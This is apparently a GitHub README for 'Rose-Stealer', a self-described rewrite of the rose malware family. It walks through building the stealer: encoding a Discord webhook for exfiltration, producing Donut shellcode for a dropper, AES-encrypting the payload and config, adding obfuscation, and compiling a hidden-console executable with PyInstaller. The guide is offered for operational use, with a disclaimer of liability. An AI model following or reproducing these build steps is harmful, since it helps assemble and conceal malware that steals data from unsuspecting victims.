# 🐍 Rose-Stealer ## Rewritten version of the rose malware family. > [!CAUTION] > I am not liable for anything that is happening with this software. > If you don't trust it, read the source. > [!IMPORTANT] > This is a small rewritten version for the rose implant. > I don't provide support for this. You should know what you're doing. ## Requirements - [Python 3.10+](https://python.org/downloads) - Python-Libs installed (`pip install -r assets\requirements.txt`) ## Setup #### [Download](https://github.com/0xRose/Rose-Stealer/archive/refs/heads/main.zip) the source code of this repository. - Encode your Discord Webhook: `python utils\b85_encode.py DISCORD_WEBHOOK` - Place the output in the config.ini file ```ini [main] # base 85 encoded and hexified discord webhook discord_webhook=DISCORD_WEBHOOK <--- Put the encoded webhook here ``` - File dropper if wanted: - generate shellcode with [Donut](https://github.com/TheWover/donut) for an executable file to e.g. client\ `shellc.dat` - AES encrypt the shellcode file: - `python utils\aes_encrypt.py payload\shellc.dat payload\shellc.aes` - Copy the output key into your config.ini file like this: ```ini [shellcode_loader] # file path storing AES encrypted and compressed shellcode shellcode_file_name=shellc.aes # hexified 32 byte (128-bit AES key) shellcode_key=AES_KEY <--- Put the AES key here ``` - Edit the config file and change the False statements accordingly to True for your needs. - Now encrypt the config file: - `python utils\aes_encrypt.py payload\config.ini payload\config.aes` - Put the output key you received into the [malware source code](https://github.com/0xRose/Rose-Stealer/blob/main/payload/main.py) on line 380: ```py key = "AES_KEY" # hexified 32 byte key (128-bit) <--- Put the AES key here ``` (Additionally i would recommend to add obfuscation on the script now.) - You can now compile it into a binary: - **Dropper enabled:** `pyinstaller --noconsole --onefile --clean --add-data "payload\shellc.aes;." --add-data "payload\config.aes;." --hidden-import cryptography --hidden-import pywin32 --hidden-import pillow --hidden-import aiohttp payload\main.py` - **Dropped disabled:** `pyinstaller --noconsole --onefile --clean --add-data "payload\config.aes;." --hidden-import cryptography --hidden-import pywin32 --hidden-import pillow --hidden-import aiohttp payload\main.py` **Yay! Your executable is now inside of the `dist` folder.**